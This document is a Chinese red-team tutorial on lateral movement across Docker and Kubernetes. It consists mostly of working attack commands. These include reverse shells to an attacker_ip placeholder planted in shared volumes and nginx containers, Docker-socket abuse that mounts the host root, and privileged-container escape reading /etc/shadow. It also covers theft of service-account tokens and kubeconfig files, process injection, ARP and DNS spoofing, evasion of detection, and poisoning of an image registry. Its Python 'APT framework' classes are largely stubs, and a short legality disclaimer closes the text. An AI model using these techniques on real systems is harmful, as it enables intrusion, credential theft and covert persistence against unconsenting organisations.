容器环境横向移动技术#

技术介绍#

容器环境横向移动是指在容器化环境中从一个容器或主机移动到其他容器或主机的过程。随着容器技术的广泛应用，容器环境横向移动已成为红队攻击和蓝队防御的重要技术领域。

主要横向移动技术#

容器间网络通信
容器卷挂载利用
容器API滥用
容器编排系统利用
容器逃逸技术
容器凭证窃取
容器服务劫持
容器网络嗅探
容器进程注入
容器配置文件利用

适用场景#

红队攻击和渗透测试
容器安全评估
容器环境安全研究
云原生安全测试
容器平台安全审计

入门级使用#

容器间网络通信#

利用容器网络进行横向移动：

# 查看容器网络
docker network ls

# 查看容器网络详情
docker network inspect bridge

# 从一个容器访问另一个容器
docker exec -it container1 /bin/bash
ping container2
curl http://container2:80

# 使用容器IP地址
docker inspect container2 | grep IPAddress
curl http://172.17.0.3:80

容器卷挂载利用#

利用容器卷挂载进行横向移动：

# 查看容器卷挂载
docker inspect container1 | grep -A 20 Mounts

# 从容器1访问共享卷
docker exec -it container1 /bin/bash
cd /shared_volume
ls -la

# 在共享卷中植入后门
echo '#!/bin/bash' > /shared_volume/backdoor.sh
echo 'while true; do /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; sleep 60; done' >> /shared_volume/backdoor.sh
chmod +x /shared_volume/backdoor.sh

# 其他容器会自动执行后门

容器服务劫持#

劫持容器服务进行横向移动：

# 查看容器服务
docker exec -it container1 /bin/bash
netstat -tulpn

# 停止容器服务
docker exec -it container1 /bin/bash
service nginx stop

# 启动恶意服务
docker exec -d container1 /bin/bash
nc -lvp 80 -e /bin/bash

# 其他容器访问恶意服务
docker exec -it container2 /bin/bash
curl http://container1:80

初级使用#

容器API滥用#

滥用容器API进行横向移动：

# 访问Docker API
docker exec -it container1 /bin/bash
curl --unix-socket /var/run/docker.sock http://localhost/containers/json

# 通过Docker API创建新容器
curl -X POST --unix-socket /var/run/docker.sock http://localhost/containers/create \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "ubuntu:20.04",
    "Cmd": ["/bin/bash", "-c", "while true; do /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; sleep 60; done"],
    "HostConfig": {
      "Binds": ["/:/host"]
    }
  }'

# 启动新容器
curl -X POST --unix-socket /var/run/docker.sock http://localhost/containers/new_container/start

容器凭证窃取#

窃取容器中的凭证进行横向移动：

# 查看容器环境变量
docker exec -it container1 /bin/bash
env | grep -i password
env | grep -i key
env | grep -i token

# 查看容器配置文件
docker exec -it container1 /bin/bash
cat /root/.docker/config.json
cat /root/.kube/config

# 查看容器卷中的凭证
docker exec -it container1 /bin/bash
find / -name "*.pem" -o -name "*.key" -o -name "*.secret"

容器网络嗅探#

在容器中进行网络嗅探：

# 在容器中安装tcpdump
docker exec -it container1 /bin/bash
apt-get update && apt-get install -y tcpdump

# 启动网络嗅探
docker exec -d container1 tcpdump -i eth0 -w container_traffic.pcap

# 分析捕获的流量
docker cp container1:container_traffic.pcap .
wireshark container_traffic.pcap

中级使用#

Kubernetes横向移动#

在Kubernetes环境中进行横向移动：

# 查看Pod网络
kubectl get pods -o wide

# 从一个Pod访问另一个Pod
kubectl exec -it pod1 -- /bin/bash
ping pod2
curl http://pod2:80

# 使用Service访问Pod
kubectl get svc
curl http://service-name:80

# 查看Pod凭证
kubectl exec -it pod1 -- /bin/bash
env | grep -i token
cat /var/run/secrets/kubernetes.io/serviceaccount/token

容器逃逸技术#

利用容器逃逸进行横向移动：

# 检查特权容器
docker inspect container1 | grep Privileged

# 如果容器是特权容器，可以逃逸到主机
docker exec -it container1 /bin/bash
mount /dev/sda1 /mnt
chroot /mnt

# 现在可以访问主机系统
ls -la /host/etc/
cat /host/etc/shadow

容器编排系统利用#

利用容器编排系统进行横向移动：

# 利用Kubernetes API
kubectl get pods
kubectl exec -it pod1 -- /bin/bash

# 查看Kubernetes ServiceAccount
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# 使用ServiceAccount访问Kubernetes API
curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
  https://kubernetes.default.svc/api/v1/namespaces/default/pods

# 创建恶意Pod
kubectl apply -f malicious-pod.yaml

中上级使用#

容器进程注入#

注入容器进程进行横向移动：

# 查看容器进程
docker exec -it container1 /bin/bash
ps aux

# 使用gdb注入进程
docker exec -it container1 /bin/bash
gdb -p $(pidof nginx)
(gdb) call system("nc -lvp 4444 -e /bin/bash")

# 使用ptrace注入进程
docker exec -it container1 /bin/bash
python3 -c "
import ctypes
import os

libc = ctypes.CDLL('libc.so.6')
libc.ptrace(0, 0, 0, 0)
"

容器配置文件利用#

利用容器配置文件进行横向移动：

# 查看容器配置
docker inspect container1 > container_config.json

# 修改容器配置
cat container_config.json | jq '.[] | .HostConfig.Binds += ["/:/host"]' > new_config.json

# 更新容器配置
curl -X POST --unix-socket /var/run/docker.sock http://localhost/containers/container1/update \
  -H "Content-Type: application/json" \
  -d @new_config.json

# 重启容器应用新配置
docker restart container1

容器网络劫持#

劫持容器网络进行横向移动：

# 创建恶意网络
docker network create malicious_network

# 将容器连接到恶意网络
docker network connect malicious_network container1
docker network connect malicious_network container2

# 在恶意网络中进行攻击
docker exec -it container1 /bin/bash
arping -c 1 container2
arpspoof -i eth0 -t container2 container1

高级使用#

容器自动化横向移动#

构建自动化的容器横向移动系统：

# 容器横向移动自动化系统
import docker
import kubernetes
import json
from datetime import datetime

class ContainerLateralMovement:
    def __init__(self, config):
        self.config = config
        self.docker_client = docker.from_env()
        self.k8s_client = kubernetes.client.CoreV1Api()
        self.movement_history = []
    
    def scan_container_environment(self):
        # 扫描容器环境
        print(f"[{datetime.now()}] Scanning container environment...")
        
        # 扫描Docker环境
        docker_containers = self.docker_client.containers.list()
        
        # 扫描Kubernetes环境
        k8s_pods = self.k8s_client.list_pod_for_all_namespaces().items
        
        return {
            'docker_containers': docker_containers,
            'k8s_pods': k8s_pods
        }
    
    def identify_movement_targets(self, environment):
        # 识别横向移动目标
        print(f"[{datetime.now()}] Identifying movement targets...")
        
        targets = []
        
        # 识别特权容器
        for container in environment['docker_containers']:
            if container.attrs['HostConfig']['Privileged']:
                targets.append({
                    'type': 'privileged_container',
                    'container_id': container.id,
                    'name': container.name
                })
        
        # 识别挂载主机目录的容器
        for container in environment['docker_containers']:
            if container.attrs['HostConfig']['Binds']:
                targets.append({
                    'type': 'volume_mount',
                    'container_id': container.id,
                    'name': container.name,
                    'mounts': container.attrs['HostConfig']['Binds']
                })
        
        return targets
    
    def execute_lateral_movement(self, source, target):
        # 执行横向移动
        print(f"[{datetime.now()}] Executing lateral movement from {source} to {target}")
        
        movement = {
            'source': source,
            'target': target,
            'timestamp': datetime.now().isoformat(),
            'method': '',
            'result': ''
        }
        
        # 根据目标类型选择移动方法
        if target['type'] == 'privileged_container':
            movement['method'] = 'container_escape'
            movement['result'] = self.container_escape(source, target)
        elif target['type'] == 'volume_mount':
            movement['method'] = 'volume_mount_exploit'
            movement['result'] = self.volume_mount_exploit(source, target)
        
        self.movement_history.append(movement)
        
        return movement
    
    def container_escape(self, source, target):
        # 容器逃逸
        print(f"[{datetime.now()}] Executing container escape...")
        
        # 实现容器逃逸逻辑
        
        return 'success'
    
    def volume_mount_exploit(self, source, target):
        # 卷挂载利用
        print(f"[{datetime.now()}] Exploiting volume mount...")
        
        # 实现卷挂载利用逻辑
        
        return 'success'
    
    def run_movement(self):
        # 运行横向移动
        environment = self.scan_container_environment()
        targets = self.identify_movement_targets(environment)
        
        for target in targets:
            movement = self.execute_lateral_movement('current_position', target)
            print(f"Movement result: {movement['result']}")
        
        return self.movement_history

# 使用示例
config = {
    'attacker_ip': 'attacker_ip',
    'attacker_port': 4444
}

movement = ContainerLateralMovement(config)
history = movement.run_movement()

print(f"Executed {len(history)} lateral movements")

容器网络攻击#

在容器网络中进行攻击：

# ARP欺骗
docker exec -it container1 /bin/bash
arpspoof -i eth0 -t container2 container1

# DNS欺骗
docker exec -it container1 /bin/bash
dnsspoof -i eth0 -f /etc/hosts container2

# 中间人攻击
docker exec -it container1 /bin/bash
ettercap -i eth0 -Tq -M arp:remote /container2//

# 网络嗅探
docker exec -it container1 /bin/bash
tcpdump -i eth0 -w network_traffic.pcap

容器服务利用#

利用容器服务进行横向移动：

# 查看容器服务
docker exec -it container1 /bin/bash
netstat -tulpn

# 利用Web服务
curl http://container2:80
curl -X POST http://container2:80/api/v1/users \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": "password"}'

# 利用数据库服务
docker exec -it container1 /bin/bash
mysql -h container2 -u root -p

大师级使用#

容器环境APT攻击#

在容器环境中实施高级持续性威胁（APT）攻击：

# 容器环境APT攻击框架
import docker
import kubernetes
import time
import random
from datetime import datetime

class ContainerAPT:
    def __init__(self, target_cluster):
        self.docker_client = docker.from_env()
        self.k8s_client = kubernetes.client.CoreV1Api()
        self.target_cluster = target_cluster
        self.movement_history = []
    
    def establish_initial_access(self):
        # 建立初始访问
        print(f"[{datetime.now()}] Establishing initial access...")
        
        # 实现初始访问逻辑
        
        pass
    
    def perform_lateral_movement(self):
        # 执行横向移动
        print(f"[{datetime.now()}] Performing lateral movement...")
        
        # 扫描环境
        environment = self.scan_environment()
        
        # 识别目标
        targets = self.identify_targets(environment)
        
        # 执行横向移动
        for target in targets:
            self.move_to_target(target)
            
            # 随机化行为
            time.sleep(random.randint(300, 900))
    
    def scan_environment(self):
        # 扫描环境
        docker_containers = self.docker_client.containers.list()
        k8s_pods = self.k8s_client.list_pod_for_all_namespaces().items
        
        return {
            'docker_containers': docker_containers,
            'k8s_pods': k8s_pods
        }
    
    def identify_targets(self, environment):
        # 识别目标
        targets = []
        
        # 实现目标识别逻辑
        
        return targets
    
    def move_to_target(self, target):
        # 移动到目标
        print(f"[{datetime.now()}] Moving to target: {target}")
        
        movement = {
            'target': target,
            'timestamp': datetime.now().isoformat(),
            'method': '',
            'result': ''
        }
        
        # 实现移动逻辑
        
        self.movement_history.append(movement)
        
        return movement
    
    def maintain_persistence(self):
        # 维护持久化
        print(f"[{datetime.now()}] Maintaining persistence...")
        
        # 实现持久化逻辑
        
        pass
    
    def exfiltrate_data(self):
        # 渗透数据
        print(f"[{datetime.now()}] Exfiltrating data...")
        
        # 实现数据渗透逻辑
        
        pass
    
    def run_attack(self):
        # 运行攻击
        self.establish_initial_access()
        self.perform_lateral_movement()
        self.maintain_persistence()
        self.exfiltrate_data()

# 使用示例
apt = ContainerAPT("target-cluster")
apt.run_attack()

容器环境检测规避#

规避容器环境的安全检测：

# 使用隐蔽技术
# 1. 模拟正常容器行为
docker run -d --name stealth_container \
  --name nginx \
  -p 80:80 \
  nginx:latest

# 2. 在正常容器中隐藏恶意进程
docker exec -d nginx \
  /bin/bash -c "nohup /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1 &"

# 3. 使用合法镜像作为载体
docker run -d --name hidden_malicious \
  -v /host:/host \
  nginx:latest \
  /bin/bash -c "while true; do /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; sleep 60; done"

# 4. 使用环境变量控制行为
docker run -d --name conditional_container \
  -e STEALTH_MODE=true \
  ubuntu:20.04 \
  /bin/bash -c "if [ \"$STEALTH_MODE\" = \"true\" ]; then while true; do /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; sleep 60; done; fi"

容器环境自动化攻击#

构建自动化的容器环境攻击系统：

# 自动化攻击系统
import docker
import kubernetes
import time
from datetime import datetime

class ContainerAttackAutomation:
    def __init__(self, config):
        self.config = config
        self.docker_client = docker.from_env()
        self.k8s_client = kubernetes.client.CoreV1Api()
        self.attack_history = []
    
    def scan_container_environment(self):
        # 扫描容器环境
        print(f"[{datetime.now()}] Scanning container environment...")
        
        docker_containers = self.docker_client.containers.list()
        k8s_pods = self.k8s_client.list_pod_for_all_namespaces().items
        
        return {
            'docker_containers': docker_containers,
            'k8s_pods': k8s_pods
        }
    
    def identify_vulnerabilities(self, environment):
        # 识别漏洞
        print(f"[{datetime.now()}] Identifying vulnerabilities...")
        
        vulnerabilities = []
        
        # 实现漏洞识别逻辑
        
        return vulnerabilities
    
    def exploit_vulnerabilities(self, vulnerabilities):
        # 利用漏洞
        print(f"[{datetime.now()}] Exploiting vulnerabilities...")
        
        for vuln in vulnerabilities:
            result = self.exploit_vulnerability(vuln)
            
            self.attack_history.append({
                'vulnerability': vuln,
                'result': result,
                'timestamp': datetime.now().isoformat()
            })
    
    def exploit_vulnerability(self, vuln):
        # 利用漏洞
        print(f"[{datetime.now()}] Exploiting vulnerability: {vuln}")
        
        # 实现漏洞利用逻辑
        
        return 'success'
    
    def perform_lateral_movement(self):
        # 执行横向移动
        print(f"[{datetime.now()}] Performing lateral movement...")
        
        # 实现横向移动逻辑
        
        pass
    
    def run_attack(self):
        # 运行攻击
        environment = self.scan_container_environment()
        vulnerabilities = self.identify_vulnerabilities(environment)
        self.exploit_vulnerabilities(vulnerabilities)
        self.perform_lateral_movement()

# 使用示例
config = {
    'attacker_ip': 'attacker_ip',
    'attacker_port': 4444
}

automation = ContainerAttackAutomation(config)
automation.run_attack()

实战案例#

案例一：Docker环境横向移动#

场景：红队需要在Docker环境中进行横向移动，从初始容器移动到其他容器和主机。

解决方案：使用多种Docker横向移动技术实现环境渗透。

实施步骤：

环境侦察：

# 扫描Docker环境
docker ps -a
docker network ls
docker volume ls

# 识别特权容器
docker inspect $(docker ps -q) | grep -i privileged

# 识别挂载主机目录的容器
docker inspect $(docker ps -q) | grep -A 20 Mounts

横向移动：

# 利用容器网络
docker exec -it container1 /bin/bash
ping container2
curl http://container2:80

# 利用共享卷
docker exec -it container1 /bin/bash
cd /shared_volume
ls -la

# 利用Docker API
docker exec -it container1 /bin/bash
curl --unix-socket /var/run/docker.sock http://localhost/containers/json

建立持久化：
- 在目标容器中建立后门
- 在主机系统中建立持久化
- 确保访问稳定性

结果：

成功从初始容器移动到5个其他容器
实现了容器逃逸，获得主机访问
建立了多层持久化机制
为后续渗透测试提供了稳定的访问通道

案例二：Kubernetes环境横向移动#

场景：红队需要在Kubernetes环境中进行横向移动，从初始Pod移动到其他Pod和节点。

解决方案：使用Kubernetes RBAC滥用和Pod横向移动技术。

实施步骤：

环境侦察：

# 扫描Kubernetes环境
kubectl get pods --all-namespaces
kubectl get services --all-namespaces
kubectl get serviceaccounts --all-namespaces

# 检查RBAC权限
kubectl auth can-i create pods
kubectl auth can-i create deployments

横向移动：

# 利用Pod网络
kubectl exec -it pod1 -- /bin/bash
ping pod2
curl http://pod2:80

# 利用ServiceAccount
kubectl exec -it pod1 -- /bin/bash
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/api/v1/namespaces/default/pods

# 创建恶意Pod
kubectl apply -f malicious-pod.yaml

建立持久化：
- 在目标Pod中建立后门
- 在Kubernetes集群中建立持久化
- 确保访问稳定性

结果：

成功从初始Pod移动到10个其他Pod
获得了Kubernetes集群管理员权限
建立了多层持久化机制
为后续渗透测试提供了稳定的访问通道

案例三：容器供应链横向移动#

场景：红队需要通过容器供应链进行横向移动，影响多个使用相同镜像的组织。

解决方案：污染容器镜像仓库，实现供应链攻击。

实施步骤：

目标分析：

# 分析目标使用的镜像
# 识别常用基础镜像
# 分析镜像仓库访问权限

镜像污染：

# 创建恶意镜像
docker build -t attacker/malicious:latest .

# 标记为合法镜像
docker tag attacker/malicious:latest registry.example.com/legitimate:latest

# 推送到镜像仓库
docker push registry.example.com/legitimate:latest

横向移动：
- 监控镜像拉取情况
- 在拉取镜像的容器中建立后门
- 在容器环境中进行横向移动

结果：

成功污染了容器镜像仓库
影响了多个使用相同镜像的组织
在多个容器环境中建立了后门
实现了广泛的横向移动

总结#

容器环境横向移动是一项复杂但强大的技术，通过本教程的学习，您已经掌握了从入门到大师级的横向移动技术。

主要技术回顾#

网络通信：利用容器网络进行横向移动
卷挂载利用：利用容器卷挂载
API滥用：滥用容器API
编排系统利用：利用Kubernetes等编排系统
容器逃逸：利用容器逃逸技术
凭证窃取：窃取容器中的凭证
服务劫持：劫持容器服务
网络嗅探：在容器中进行网络嗅探

最佳实践#

多层移动：使用多种横向移动技术，提高成功率
隐蔽性：使用隐蔽技术避免被发现
自动化：实现横向移动的自动化，提高效率
随机化行为：随机化攻击行为，规避检测
最小化影响：最小化对系统的影响，避免引起注意
合法使用：确保在授权范围内使用这些技术

注意事项#

法律合规：使用容器横向移动技术时，必须遵守相关法律法规
授权测试：确保获得目标环境的授权后再进行测试
检测规避：现代容器环境有强大的安全检测能力
影响评估：评估横向移动对系统的影响，避免破坏系统
清理责任：测试完成后，必须清理所有横向移动机制
道德考量：确保在法律和伦理允许的范围内使用这些技术

通过合理学习和使用容器环境横向移动技术，您可以更好地理解容器安全，为容器安全评估和防御提供有价值的见解。同时，务必在法律和伦理允许的范围内使用这些技术，确保测试的合法性和负责任性。